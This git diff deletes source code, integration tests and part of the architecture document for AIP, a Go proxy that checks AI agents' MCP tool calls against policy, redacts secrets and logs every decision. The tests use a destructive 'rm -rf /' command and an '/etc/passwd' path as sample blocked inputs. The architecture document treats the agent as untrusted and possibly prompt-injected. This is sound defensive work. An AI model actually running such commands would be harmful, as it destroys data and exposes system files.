- logger.Printf("Started subprocess PID %d: %s", cmd.Process.Pid, cfg.Target)
-
- return &Proxy{
- ctx: ctx,
- cfg: cfg,
- engine: engine,
- logger: logger,
- auditLogger: auditLogger,
- prompter: prompter,
- dlpScanner: dlpScanner,
- identityManager: identityManager,
- cmd: cmd,
- subStdin: subStdin,
- subStdout: subStdout,
- }, nil
-}
-
-// Run starts the IO handling goroutines and waits for completion.
-//
-// Returns the subprocess exit code (0 on success, non-zero on error).
-func (p *Proxy) Run() int {
- // Start the downstream goroutine (Server β Client)
- // This copies subprocess stdout to our stdout (passthrough)
- p.wg.Add(1)
- go p.handleDownstream()
-
- // Start the upstream goroutine (Client β Server)
- // This intercepts stdin, applies policy, forwards or blocks
- // p.wg.Add(1) // FIX: Don't wait for Upstream (prevents deadlock)
- go p.handleUpstream()
-
- // Wait for subprocess to exit
- err := p.cmd.Wait()
- if err != nil {
- if exitErr, ok := err.(*exec.ExitError); ok {
- return exitErr.ExitCode()
- }
- p.logger.Printf("Subprocess error: %v", err)
- return 1
- }
-
- // Wait for IO goroutines to finish
- p.wg.Wait()
-
- return 0
-}
-
-// Shutdown performs graceful termination of the subprocess.
-//
-// IMPORTANT: Signal Propagation Limitations
-//
-// This sends SIGTERM to the direct child process. However, signals may not
-// propagate correctly in all scenarios:
-//
-// - Direct binary: Signal propagates correctly
-// - Shell wrapper: Signal may only kill the shell, not child processes
-// - Docker container: Signal goes to `docker` CLI, not the container
-//
-// For Docker targets, users should use:
-//
-// docker run --rm --init -i
-//
-// The --rm flag removes the container on exit, --init ensures proper signal
-// handling inside the container, and -i keeps stdin open for JSON-RPC.
-//
-// See examples/docker-wrapper.yaml for a complete Docker policy example.
-func (p *Proxy) Shutdown() {
- if p.cmd.Process != nil {
- p.logger.Printf("Terminating subprocess PID %d", p.cmd.Process.Pid)
- // Send SIGTERM first for graceful shutdown
- // NOTE: For Docker targets, this signals the docker CLI, not the container.
- // Use --rm --init flags on docker run to ensure proper cleanup.
- _ = p.cmd.Process.Signal(syscall.SIGTERM)
- }
-}
-
-// -----------------------------------------------------------------------------
-// Downstream Handler (Server β Client) - DLP INTERCEPTION POINT
-// -----------------------------------------------------------------------------
-
-// handleDownstream reads from subprocess stdout, applies DLP scanning, and
-// forwards to our stdout.
-//
-// DLP (Data Loss Prevention) scanning inspects tool responses for sensitive
-// information (PII, API keys, secrets) and redacts matches before the response
-// reaches the client. This prevents accidental data exfiltration.
-//
-// Flow:
-// 1. Read JSON-RPC message from subprocess stdout
-// 2. Attempt to parse as JSON-RPC response
-// 3. If valid JSON-RPC with result, scan content for sensitive data
-// 4. Replace matches with [REDACTED:]
-// 5. Log DLP events to audit trail
-// 6. Forward (potentially modified) response to client stdout
-//
-// Robustness: If the tool outputs invalid JSON or non-JSON data (e.g., logs),
-// we pass it through unchanged to avoid breaking the stream.
-//
-// This goroutine runs until the subprocess stdout is closed (subprocess exits).
-func (p *Proxy) handleDownstream() {
- defer p.wg.Done()
-
- // Use buffered reader for efficient reading
- reader := bufio.NewReader(p.subStdout)
-
- for {
- // Read line-by-line (JSON-RPC messages are newline-delimited)
- line, err := reader.ReadBytes('\n')
- if err != nil {
- if err != io.EOF {
- p.logger.Printf("Downstream read error: %v", err)
- }
- return
- }
-
- if p.cfg.Verbose {
- p.logger.Printf("β [downstream raw] %s", strings.TrimSpace(string(line)))
- }
-
- // STREAM SAFETY: Filter non-JSON output (e.g. server logs) to stderr
- // JSON-RPC messages must start with '{'
- trimmed := strings.TrimSpace(string(line))
- if len(trimmed) > 0 && !strings.HasPrefix(trimmed, "{") {
- p.logger.Printf("[subprocess stdout] %s", trimmed)
- continue
- }
-
- // Apply DLP scanning if enabled
- outputLine := line
- if p.dlpScanner != nil && p.dlpScanner.IsEnabled() {
- outputLine = p.applyDLP(line)
- }
-
- // Write to stdout (use mutex to prevent interleaving with upstream errors)
- p.mu.Lock()
- _, writeErr := os.Stdout.Write(outputLine)
- p.mu.Unlock()
-
- if writeErr != nil {
- p.logger.Printf("Downstream write error: %v", writeErr)
- return
- }
- }
-}
-
-// applyDLP scans a downstream JSON-RPC response for sensitive data and redacts.
-//
-// The function handles MCP tool call responses which have this structure:
-//
-// {
-// "jsonrpc": "2.0",
-// "id": 1,
-// "result": {
-// "content": [
-// {"type": "text", "text": "...potentially sensitive data..."}
-// ]
-// }
-// }
-//
-// We scan and redact the "text" fields within content items.
-//
-// If the input is not valid JSON or not a response with result, we return
-// it unchanged to avoid breaking the stream.
-func (p *Proxy) applyDLP(line []byte) []byte {
- // First, try to parse as generic JSON to check structure
- var msg map[string]json.RawMessage
- if err := json.Unmarshal(line, &msg); err != nil {
- // Not valid JSON - pass through unchanged (might be log output)
- if p.cfg.Verbose {
- p.logger.Printf("DLP: Non-JSON output, passing through")
- }
- return line
- }
-
- // Check if this is a JSON-RPC response with a result field
- resultRaw, hasResult := msg["result"]
- if !hasResult {
- // No result field - might be an error response or notification, pass through
- return line
- }
-
- // Try to parse the result to find content
- var result struct {
- Content []struct {
- Type string `json:"type"`
- Text string `json:"text"`
- } `json:"content"`
- }
-
- if err := json.Unmarshal(resultRaw, &result); err != nil {
- // Result is not in expected format - try full-string scan as fallback
- return p.applyDLPFullScan(line)
- }
-
- // No content array - try full-string scan
- if len(result.Content) == 0 {
- return p.applyDLPFullScan(line)
- }
-
- // Scan each text field for sensitive data
- anyRedacted := false
- var allEvents []dlp.RedactionEvent
-
- for i := range result.Content {
- if result.Content[i].Type == "text" || result.Content[i].Text != "" {
- redacted, events := p.dlpScanner.Redact(result.Content[i].Text)
- if len(events) > 0 {
- anyRedacted = true
- allEvents = append(allEvents, events...)
- result.Content[i].Text = redacted
- }
- }
- }
-
- if !anyRedacted {
- // No redactions needed - return original line
- return line
- }
-
- // Log DLP events
- for _, event := range allEvents {
- p.logger.Printf("DLP_TRIGGERED: Rule %q matched %d time(s), redacted",
- event.RuleName, event.MatchCount)
- p.auditLogger.LogDLPEvent(event.RuleName, event.MatchCount)
- }
-
- // Reconstruct the JSON-RPC response with redacted content
- return p.reconstructResponse(line, result.Content)
-}
-
-// applyDLPFullScan performs string-level DLP scan on the entire JSON line.
-// Used as a fallback when the response doesn't match expected MCP structure.
-func (p *Proxy) applyDLPFullScan(line []byte) []byte {
- redacted, events := p.dlpScanner.Redact(string(line))
- if len(events) == 0 {
- return line
- }
-
- // Log DLP events
- for _, event := range events {
- p.logger.Printf("DLP_TRIGGERED (full-scan): Rule %q matched %d time(s), redacted",
- event.RuleName, event.MatchCount)
- p.auditLogger.LogDLPEvent(event.RuleName, event.MatchCount)
- }
-
- // Ensure we maintain the newline delimiter
- output := []byte(redacted)
- if len(output) > 0 && output[len(output)-1] != '\n' {
- output = append(output, '\n')
- }
- return output
-}
-
-// reconstructResponse rebuilds the JSON-RPC response with redacted content.
-func (p *Proxy) reconstructResponse(originalLine []byte, redactedContent []struct {
- Type string `json:"type"`
- Text string `json:"text"`
-}) []byte {
- // Parse the original message to preserve all fields
- var msg map[string]json.RawMessage
- if err := json.Unmarshal(originalLine, &msg); err != nil {
- // Should not happen since we already validated, but be safe
- return originalLine
- }
-
- // Parse and update the result
- var result map[string]json.RawMessage
- if err := json.Unmarshal(msg["result"], &result); err != nil {
- return originalLine
- }
-
- // Re-encode the redacted content
- contentJSON, err := json.Marshal(redactedContent)
- if err != nil {
- return originalLine
- }
- result["content"] = contentJSON
-
- // Re-encode the result
- resultJSON, err := json.Marshal(result)
- if err != nil {
- return originalLine
- }
- msg["result"] = resultJSON
-
- // Re-encode the full message
- outputJSON, err := json.Marshal(msg)
- if err != nil {
- return originalLine
- }
-
- // Append newline delimiter
- return append(outputJSON, '\n')
-}
-
-// -----------------------------------------------------------------------------
-// Upstream Handler (Client β Server) - THE POLICY ENFORCEMENT POINT
-// -----------------------------------------------------------------------------
-
-// handleUpstream reads from stdin, applies policy checks, and either forwards
-// to the subprocess or returns an error response.
-//
-// This is the critical "Man-in-the-Middle" interception point where policy
-// enforcement happens. The flow is:
-//
-// 1. Read JSON-RPC message from stdin (client/agent)
-// 2. Decode the message to inspect the method
-// 3. If method is "tools/call":
-// a. Extract the tool name from params
-// b. Check engine.IsAllowed(toolName, args)
-// c. Log the decision to audit file (NEVER stdout)
-// d. If mode=ENFORCE AND violation: BLOCK (return error to stdout)
-// e. If mode=MONITOR AND violation: ALLOW (forward) but log as dry-run block
-// f. If no violation: ALLOW (forward)
-// 4. For other methods: passthrough to subprocess
-//
-// CRITICAL STDOUT SAFETY:
-// - ONLY JSON-RPC messages go to stdout (responses to client)
-// - Audit logs go to FILE via auditLogger
-// - Operational logs go to stderr via logger
-// - NEVER use fmt.Println, log.Println, or similar that write to stdout
-func (p *Proxy) handleUpstream() {
- // defer p.wg.Done() // FIX: Don't wait for Upstream (prevents deadlock)
- defer func() { _ = p.subStdin.Close() }() // Close subprocess stdin when we're done
-
- reader := bufio.NewReader(os.Stdin)
-
- for {
- // Read a complete JSON-RPC message (newline-delimited)
- line, err := reader.ReadBytes('\n')
- if err != nil {
- if err != io.EOF {
- p.logger.Printf("Upstream read error: %v", err)
- }
- return
- }
-
- if len(strings.TrimSpace(string(line))) == 0 {
- continue // Skip empty lines
- }
-
- // Attempt to decode as JSON-RPC request
- var req protocol.Request
- if err := json.Unmarshal(line, &req); err != nil {
- // Not valid JSON-RPC; pass through anyway (might be a notification)
- p.logger.Printf("Warning: failed to parse message: %v", err)
- if _, err := p.subStdin.Write(line); err != nil {
- p.logger.Printf("Upstream write error: %v", err)
- return
- }
- continue
- }
-
- if p.cfg.Verbose {
- p.logger.Printf("β [upstream] method=%s id=%s", req.Method, string(req.ID))
- }
-
- // FIRST LINE OF DEFENSE: Method-level policy check
- // This prevents bypass attacks via uncontrolled MCP methods like
- // resources/read, prompts/get, etc.
- methodDecision := p.engine.IsMethodAllowed(req.Method)
- if !methodDecision.Allowed {
- p.logger.Printf("BLOCKED_METHOD: Method %q not allowed by policy (%s)",
- req.Method, methodDecision.Reason)
- p.auditLogger.LogMethodBlock(req.Method, methodDecision.Reason)
- p.sendErrorResponse(protocol.NewMethodNotAllowedError(req.ID, req.Method))
- continue // Do not forward to subprocess
- }
-
- // SECOND LINE OF DEFENSE: Tool-level policy check
- // This applies to tools/call requests and validates tool names and arguments
- if req.IsToolCall() {
- toolName := req.GetToolName()
- toolArgs := req.GetToolArgs()
- p.logger.Printf("Tool call intercepted: %s", toolName)
-
- decision := p.engine.IsAllowed(toolName, toolArgs)
-
- // REDACTION: Sanitize arguments before audit logging
- // Use deep scanning to catch secrets in nested structures like:
- // {"config": {"aws": {"key": "AKIAIOSFODNN7EXAMPLE"}}}
- // The shallow scan would miss this; RedactMap catches it.
- var logArgs map[string]any
- if p.dlpScanner != nil && p.dlpScanner.IsEnabled() {
- var dlpEvents []dlp.RedactionEvent
- logArgs, dlpEvents = p.dlpScanner.RedactMap(toolArgs)
- // Log DLP events from argument scanning
- for _, event := range dlpEvents {
- p.logger.Printf("DLP_TRIGGERED (args): Rule %q matched %d time(s) in tool arguments",
- event.RuleName, event.MatchCount)
- }
- } else {
- // No DLP scanner - use original args (make a shallow copy for safety)
- logArgs = make(map[string]any, len(toolArgs))
- for k, v := range toolArgs {
- logArgs[k] = v
- }
- }
-
- // Handle Human-in-the-Loop (ASK) action first
- if decision.Action == policy.ActionAsk {
- p.logger.Printf("ASK: Requesting user approval for tool %q...", toolName)
-
- // Prompt user via native OS dialog
- approved := p.prompter.AskUserContext(p.ctx, toolName, toolArgs)
-
- // Log the user's decision
- if approved {
- p.logger.Printf("ASK_APPROVED: User approved tool %q", toolName)
- p.auditLogger.LogToolCall(
- toolName,
- logArgs, // Use redacted args
- audit.DecisionAllow,
- false, // Not a violation - user explicitly approved
- "",
- "",
- )
- // Fall through to forward the request
- } else {
- p.logger.Printf("ASK_DENIED: User denied tool %q (or timeout)", toolName)
- p.auditLogger.LogToolCall(
- toolName,
- logArgs, // Use redacted args
- audit.DecisionBlock,
- true, // Treat as violation for audit purposes
- "",
- "",
- )
- p.sendErrorResponse(protocol.NewUserDeniedError(req.ID, toolName))
- continue // Do not forward to subprocess
- }
- } else {
- // Standard policy decision (not ASK)
-
- // Determine audit decision type for logging
- var auditDecision audit.Decision
- if !decision.ViolationDetected {
- auditDecision = audit.DecisionAllow
- } else if decision.Allowed {
- // Violation detected but allowed through = monitor mode
- auditDecision = audit.DecisionAllowMonitor
- } else {
- auditDecision = audit.DecisionBlock
- }
-
- // Log to audit file (NEVER to stdout)
- p.auditLogger.LogToolCall(
- toolName,
- logArgs, // Use redacted args
- auditDecision,
- decision.ViolationDetected,
- decision.FailedArg,
- decision.FailedRule,
- )
-
- // Handle the decision based on mode
- if !decision.Allowed {
- // Check for rate limiting first
- if decision.Action == policy.ActionRateLimited {
- p.logger.Printf("RATE_LIMITED: Tool %q exceeded rate limit", toolName)
- p.auditLogger.LogToolCall(
- toolName,
- logArgs, // Use redacted args
- audit.DecisionRateLimited,
- true,
- "",
- "",
- )
- p.sendErrorResponse(protocol.NewRateLimitedError(req.ID, toolName))
- continue // Do not forward to subprocess
- }
- // Check for protected path access (security-critical event)
- if decision.Action == policy.ActionProtectedPath {
- p.logger.Printf("BLOCKED_PROTECTED_PATH: Tool %q attempted to access protected path %q",
- toolName, decision.ProtectedPath)
- // Log to audit with dedicated method for forensic analysis
- p.auditLogger.LogProtectedPathBlock(toolName, decision.ProtectedPath, logArgs)
- p.sendErrorResponse(protocol.NewProtectedPathError(req.ID, toolName, decision.ProtectedPath))
- continue // Do not forward to subprocess
- }
- // BLOCKED (enforce mode with violation)
- if decision.FailedArg != "" {
- p.logger.Printf("BLOCKED: Tool %q argument %q failed validation (pattern: %s)",
- toolName, decision.FailedArg, decision.FailedRule)
- p.sendErrorResponse(protocol.NewArgumentError(req.ID, toolName, decision.FailedArg, decision.FailedRule))
- } else {
- p.logger.Printf("BLOCKED: Tool %q not allowed by policy", toolName)
- p.sendErrorResponse(protocol.NewForbiddenError(req.ID, toolName))
- }
- continue // Do not forward to subprocess
- }
-
- // Request is allowed (either no violation, or monitor mode)
- if decision.ViolationDetected {
- // MONITOR MODE: Violation detected but allowing through (dry run)
- p.logger.Printf("ALLOW_MONITOR (dry-run): Tool %q would be blocked, reason: %s",
- toolName, decision.Reason)
- } else {
- // Clean allow, no violation
- p.logger.Printf("ALLOWED: Tool %q permitted by policy", toolName)
- }
- }
- }
-
- // Forward the message to subprocess stdin
- if _, err := p.subStdin.Write(line); err != nil {
- p.logger.Printf("Upstream write error: %v", err)
- return
- }
- }
-}
-
-// sendErrorResponse marshals and writes a JSON-RPC error response to stdout.
-//
-// This is used to respond to blocked tool calls without involving the subprocess.
-// The response is written directly to our stdout (back to the client).
-func (p *Proxy) sendErrorResponse(resp *protocol.Response) {
- data, err := json.Marshal(resp)
- if err != nil {
- p.logger.Printf("Failed to marshal error response: %v", err)
- return
- }
-
- // Add newline for JSON-RPC message delimiter
- data = append(data, '\n')
-
- // Use mutex to prevent interleaving with downstream messages
- p.mu.Lock()
- defer p.mu.Unlock()
-
- if _, err := os.Stdout.Write(data); err != nil {
- p.logger.Printf("Failed to write error response: %v", err)
- }
-}
diff --git a/implementations/go-proxy/cmd/aip-proxy/main_test.go b/implementations/go-proxy/cmd/aip-proxy/main_test.go
deleted file mode 100644
index 029044f..0000000
--- a/implementations/go-proxy/cmd/aip-proxy/main_test.go
+++ /dev/null
@@ -1,313 +0,0 @@
-// Package main tests for the AIP proxy.
-//
-// These tests verify the integration between the proxy, policy engine,
-// and audit logger, particularly around monitor mode behavior.
-package main
-
-import (
- "encoding/json"
- "os"
- "path/filepath"
- "strings"
- "testing"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/audit"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/protocol"
-)
-
-// TestMonitorModeIntegration tests the full integration of monitor mode:
-// 1. Configure policy in monitor mode
-// 2. Send a "blocked" request (e.g., dangerous_tool)
-// 3. Assert request would be PASSED to child process
-// 4. Assert audit log contains decision: "ALLOW_MONITOR" and violation: true
-func TestMonitorModeIntegration(t *testing.T) {
- // Setup: Create temp directory for audit log
- tmpDir := t.TempDir()
- auditPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- // Step 1: Configure policy in monitor mode
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: monitor-integration-test
-spec:
- mode: monitor
- allowed_tools:
- - safe_tool
-`
-
- // Load policy
- engine := policy.NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Verify monitor mode is active
- if !engine.IsMonitorMode() {
- t.Fatal("Expected monitor mode to be active")
- }
-
- // Create audit logger
- auditLogger, err := audit.NewLogger(&audit.Config{
- FilePath: auditPath,
- Mode: audit.PolicyModeMonitor,
- })
- if err != nil {
- t.Fatalf("Failed to create audit logger: %v", err)
- }
-
- // Step 2: Simulate sending a "blocked" request
- // In a real proxy, this would be a tools/call for dangerous_tool
- toolName := "dangerous_tool"
- toolArgs := map[string]any{"command": "rm -rf /"}
-
- // Check policy decision
- decision := engine.IsAllowed(toolName, toolArgs)
-
- // Step 3: Assert request would be PASSED (Allowed=true in monitor mode)
- if !decision.Allowed {
- t.Errorf("In monitor mode, request should be allowed; got Allowed=%v", decision.Allowed)
- }
-
- // Verify violation was detected
- if !decision.ViolationDetected {
- t.Error("ViolationDetected should be true for blocked tool")
- }
-
- // Determine audit decision type
- var auditDecision audit.Decision
- if !decision.ViolationDetected {
- auditDecision = audit.DecisionAllow
- } else if decision.Allowed {
- auditDecision = audit.DecisionAllowMonitor
- } else {
- auditDecision = audit.DecisionBlock
- }
-
- // Log the decision
- auditLogger.LogToolCall(
- toolName,
- toolArgs,
- auditDecision,
- decision.ViolationDetected,
- decision.FailedArg,
- decision.FailedRule,
- )
-
- // Close logger to flush
- if err := auditLogger.Close(); err != nil {
- t.Fatalf("Failed to close audit logger: %v", err)
- }
-
- // Step 4: Read and verify audit log
- data, err := os.ReadFile(auditPath)
- if err != nil {
- t.Fatalf("Failed to read audit log: %v", err)
- }
-
- // Parse the log line
- lines := strings.Split(strings.TrimSpace(string(data)), "\n")
- if len(lines) < 1 {
- t.Fatal("Expected at least 1 log line in audit file")
- }
-
- var logEntry map[string]any
- if err := json.Unmarshal([]byte(lines[len(lines)-1]), &logEntry); err != nil {
- t.Fatalf("Failed to parse log line: %v", err)
- }
-
- // Verify decision is ALLOW_MONITOR
- if logEntry["decision"] != string(audit.DecisionAllowMonitor) {
- t.Errorf("decision = %v, want %v", logEntry["decision"], audit.DecisionAllowMonitor)
- }
-
- // Verify violation is true
- if logEntry["violation"] != true {
- t.Errorf("violation = %v, want true", logEntry["violation"])
- }
-
- // Verify tool name
- if logEntry["tool"] != "dangerous_tool" {
- t.Errorf("tool = %v, want dangerous_tool", logEntry["tool"])
- }
-}
-
-// TestEnforceModeBlocksRequest tests that enforce mode properly blocks requests.
-func TestEnforceModeBlocksRequest(t *testing.T) {
- tmpDir := t.TempDir()
- auditPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: enforce-integration-test
-spec:
- mode: enforce
- allowed_tools:
- - safe_tool
-`
-
- engine := policy.NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- auditLogger, err := audit.NewLogger(&audit.Config{
- FilePath: auditPath,
- Mode: audit.PolicyModeEnforce,
- })
- if err != nil {
- t.Fatalf("Failed to create audit logger: %v", err)
- }
-
- // Try to use a blocked tool
- decision := engine.IsAllowed("dangerous_tool", nil)
-
- // In enforce mode, should be blocked
- if decision.Allowed {
- t.Error("In enforce mode, dangerous_tool should be blocked")
- }
- if !decision.ViolationDetected {
- t.Error("ViolationDetected should be true")
- }
-
- // Log the block
- auditLogger.LogToolCall("dangerous_tool", nil, audit.DecisionBlock, true, "", "")
- _ = auditLogger.Close()
-
- // Verify audit log
- data, err := os.ReadFile(auditPath)
- if err != nil {
- t.Fatalf("Failed to read audit log: %v", err)
- }
-
- if !strings.Contains(string(data), "BLOCK") {
- t.Error("Audit log should contain BLOCK decision")
- }
-}
-
-// TestStdoutSafetyVerification documents and verifies stdout safety.
-//
-// CRITICAL: This test serves as documentation that stdout is NEVER used for logs.
-// The JSON-RPC protocol requires stdout to be clean for transport.
-//
-// Verification checklist:
-// - [x] audit.Logger writes to FILE only, rejects stdout paths
-// - [x] main.go uses log.New(os.Stderr, ...) for operational logs
-// - [x] handleUpstream only writes JSON-RPC responses to stdout via p.sendErrorResponse
-// - [x] handleDownstream passthrough is the only other stdout writer
-// - [x] Comments throughout codebase document this requirement
-func TestStdoutSafetyVerification(t *testing.T) {
- // Test 1: Audit logger rejects stdout paths
- stdoutPaths := []string{"/dev/stdout", "/dev/fd/1", "/proc/self/fd/1"}
- for _, path := range stdoutPaths {
- _, err := audit.NewLogger(&audit.Config{FilePath: path})
- if err == nil {
- t.Errorf("Audit logger should reject stdout path %q", path)
- }
- }
-
- // Test 2: Verify protocol types only write proper JSON-RPC
- // (sendErrorResponse outputs valid JSON-RPC error responses)
- resp := protocol.NewForbiddenError([]byte(`1`), "test_tool")
- data, err := json.Marshal(resp)
- if err != nil {
- t.Fatalf("Failed to marshal response: %v", err)
- }
-
- // Should be valid JSON
- var parsed map[string]any
- if err := json.Unmarshal(data, &parsed); err != nil {
- t.Fatalf("Response is not valid JSON: %v", err)
- }
-
- // Should have jsonrpc field
- if parsed["jsonrpc"] != "2.0" {
- t.Error("Response missing jsonrpc: 2.0 field")
- }
-
- t.Log("Stdout safety verification passed:")
- t.Log(" - Audit logger rejects stdout paths")
- t.Log(" - JSON-RPC responses are valid JSON")
- t.Log(" - See code comments for full documentation")
-}
-
-// TestAuditLogFormat verifies the audit log format matches the spec.
-func TestAuditLogFormat(t *testing.T) {
- tmpDir := t.TempDir()
- auditPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- logger, err := audit.NewLogger(&audit.Config{
- FilePath: auditPath,
- Mode: audit.PolicyModeMonitor,
- })
- if err != nil {
- t.Fatalf("NewLogger() error = %v", err)
- }
-
- // Log with all fields populated
- logger.Log(&audit.Entry{
- Direction: audit.DirectionUpstream,
- Method: "tools/call",
- Tool: "delete_file",
- Args: map[string]any{"path": "/etc/passwd"},
- Decision: audit.DecisionBlock,
- PolicyMode: audit.PolicyModeEnforce,
- Violation: true,
- FailedArg: "path",
- FailedRule: "^/home/.*",
- PolicyName: "test-policy",
- RequestID: "req-123",
- ErrorReason: "path outside allowed directory",
- })
-
- _ = logger.Close()
-
- // Read and verify all fields
- data, err := os.ReadFile(auditPath)
- if err != nil {
- t.Fatalf("ReadFile() error = %v", err)
- }
-
- lines := strings.Split(strings.TrimSpace(string(data)), "\n")
- if len(lines) < 1 {
- t.Fatal("Expected log entry")
- }
-
- var entry map[string]any
- if err := json.Unmarshal([]byte(lines[len(lines)-1]), &entry); err != nil {
- t.Fatalf("JSON parse error: %v", err)
- }
-
- // Verify required fields from spec
- requiredFields := []string{
- "timestamp",
- "direction",
- "tool",
- "decision",
- "policy_mode",
- }
-
- for _, field := range requiredFields {
- if _, ok := entry[field]; !ok {
- t.Errorf("Missing required field: %s", field)
- }
- }
-
- // Verify values
- if entry["direction"] != "upstream" {
- t.Errorf("direction = %v, want upstream", entry["direction"])
- }
- if entry["tool"] != "delete_file" {
- t.Errorf("tool = %v, want delete_file", entry["tool"])
- }
- if entry["decision"] != "BLOCK" {
- t.Errorf("decision = %v, want BLOCK", entry["decision"])
- }
- if entry["policy_mode"] != "enforce" {
- t.Errorf("policy_mode = %v, want enforce", entry["policy_mode"])
- }
-}
diff --git a/implementations/go-proxy/docs/architecture.md b/implementations/go-proxy/docs/architecture.md
deleted file mode 100644
index d585209..0000000
--- a/implementations/go-proxy/docs/architecture.md
+++ /dev/null
@@ -1,338 +0,0 @@
-# AIP Architecture
-
-This document provides a deep dive into the Agent Identity Protocol's architecture, design decisions, and security model.
-
-## Table of Contents
-
-- [Overview](#overview)
-- [Core Components](#core-components)
-- [Data Flow](#data-flow)
-- [Security Model](#security-model)
-- [Policy Engine](#policy-engine)
-- [Human-in-the-Loop](#human-in-the-loop)
-- [DLP (Data Loss Prevention)](#dlp-data-loss-prevention)
-- [Audit System](#audit-system)
-- [Design Decisions](#design-decisions)
-
-## Overview
-
-AIP is a **Man-in-the-Middle (MitM) security proxy** for the Model Context Protocol (MCP). It intercepts tool calls between AI agents and tool servers, enforcing security policies before allowing requests to proceed.
-
-```
-βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
-β TRUST BOUNDARY β
-β ββββββββββββ βββββββββββββββββββ ββββββββββββββββ ββββββββββββββ β
-β β β β β β β β β β
-β β Agent βββββΆβ AIP Proxy βββββΆβ Policy Check βββββΆβ Real Tool β β
-β β (LLM) β β (Sidecar) β β (agent.yaml) β β (GitHub) β β
-β β ββββββ ββββββ ββββββ β β
-β ββββββββββββ βββββββββββββββββββ ββββββββββββββββ ββββββββββββββ β
-β β β β
-β βΌ βΌ β
-β βββββββββββββββ ββββββββββββββββ β
-β β Audit Log β β DLP β β
-β β (immutable) β β Scanner β β
-β βββββββββββββββ ββββββββββββββββ β
-βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
-```
-
-## Core Components
-
-### 1. Proxy Core (`cmd/aip-proxy/main.go`)
-
-The main entry point that:
-- Parses CLI flags and loads configuration
-- Spawns the target MCP server as a subprocess
-- Creates bidirectional pipes for stdin/stdout interception
-- Manages graceful shutdown via signal handling
-
-**Key principle**: stdout is sacred. Only JSON-RPC messages go to stdout. All operational logs go to stderr, audit logs go to a file.
-
-### 2. Policy Engine (`pkg/policy/engine.go`)
-
-Loads and evaluates YAML policy files. Supports:
-
-| Feature | Description |
-|---------|-------------|
-| `allowed_tools` | Allowlist of permitted tool names |
-| `tool_rules` | Fine-grained rules per tool with actions |
-| `action: allow` | Permit the tool call |
-| `action: block` | Deny unconditionally |
-| `action: ask` | Prompt user for approval |
-| `allow_args` | Regex validation of tool arguments |
-| `rate_limit` | Per-tool rate limiting |
-| `mode: monitor` | Log violations but don't block |
-
-### 3. Protocol Types (`pkg/protocol/types.go`)
-
-JSON-RPC 2.0 message types for MCP communication:
-
-```go
-type Request struct {
- JSONRPC string `json:"jsonrpc"`
- Method string `json:"method"`
- Params json.RawMessage `json:"params,omitempty"`
- ID json.RawMessage `json:"id,omitempty"`
-}
-```
-
-### 4. DLP Scanner (`pkg/dlp/scanner.go`)
-
-Scans tool responses for sensitive data using configurable regex patterns. Redacts matches before forwarding to the agent.
-
-### 5. Audit Logger (`pkg/audit/logger.go`)
-
-Writes structured JSONL logs for every policy decision. Supports both enforce and monitor mode logging.
-
-### 6. UI Prompter (`pkg/ui/prompt.go`)
-
-Native OS dialogs for Human-in-the-Loop approval. Uses `osascript` on macOS, `zenity`/`kdialog` on Linux.
-
-## Data Flow
-
-### Upstream Flow (Client β Server)
-
-```
-1. Agent sends JSON-RPC request to stdin
-2. Proxy reads and parses the message
-3. If method == "tools/call":
- a. Extract tool name and arguments
- b. Evaluate policy: engine.IsAllowed(tool, args)
- c. If action == "ask": prompt user via OS dialog
- d. Log decision to audit file
- e. If BLOCKED: return JSON-RPC error to stdout
- f. If ALLOWED: forward to subprocess stdin
-4. For other methods: passthrough to subprocess
-```
-
-### Downstream Flow (Server β Client)
-
-```
-1. Subprocess writes JSON-RPC response to stdout
-2. Proxy reads the response
-3. If DLP is enabled:
- a. Parse response to find content fields
- b. Scan for sensitive data patterns
- c. Replace matches with [REDACTED:]
- d. Log redaction events
-4. Forward (potentially modified) response to stdout
-```
-
-## Security Model
-
-### Threat Model
-
-AIP defends against:
-
-| Threat | Mitigation |
-|--------|------------|
-| **Indirect Prompt Injection** | Policy blocks unexpected tool calls |
-| **Privilege Escalation** | Explicit allowlist; no implicit permissions |
-| **Data Exfiltration** | DLP scans responses for secrets/PII |
-| **Consent Fatigue** | Fine-grained policies replace broad OAuth scopes |
-| **Shadow AI** | Audit trail captures all tool usage |
-
-### Security Properties
-
-1. **Fail-Closed**: Unknown tools are denied by default
-2. **Zero-Trust**: Every `tools/call` is checked; no implicit permissions
-3. **Least Privilege**: Agents start with zero capabilities
-4. **Defense in Depth**: Multiple layers (policy, DLP, audit, human approval)
-5. **Immutable Audit**: Log file is append-only from agent's perspective
-
-### Trust Boundaries
-
-```
-βββββββββββββββββββββββββββββββββββββββββββββββ
-β UNTRUSTED ZONE (Agent) β
-β - LLM with unpredictable behavior β
-β - Potentially manipulated by prompt inject β
-βββββββββββββββββββββββββββββββββββββββββββββββ
- β
- βΌ stdin
-βββββββββββββββββββββββββββββββββββββββββββββββ
-β TRUST BOUNDARY (AIP Proxy) β
-β - Policy enforcement β
-β - Audit logging β
-β - Human approval gates β
-βββββββββββββββββββββββββββββββββββββββββββββββ
- β
- βΌ subprocess stdin
-βββββββββββββββββββββββββββββββββββββββββββββββ
-β TRUSTED ZONE (Tool Server) β
-β - Executes only policy-approved calls β
-β - Responses scanned by DLP β
-βββββββββββββββββββββββββββββββββββββββββββββββ
-```
-
-## Policy Engine
-
-### Evaluation Order
-
-```
-1. Check tool_rules for explicit block β DENY
-2. Check tool_rules for action=ask β PROMPT USER
-3. Check allowed_tools allowlist β DENY if not present
-4. Check allow_args regex patterns β DENY if validation fails
-5. Check rate_limit β DENY if exceeded
-6. ALLOW
-```
-
-### Monitor Mode
-
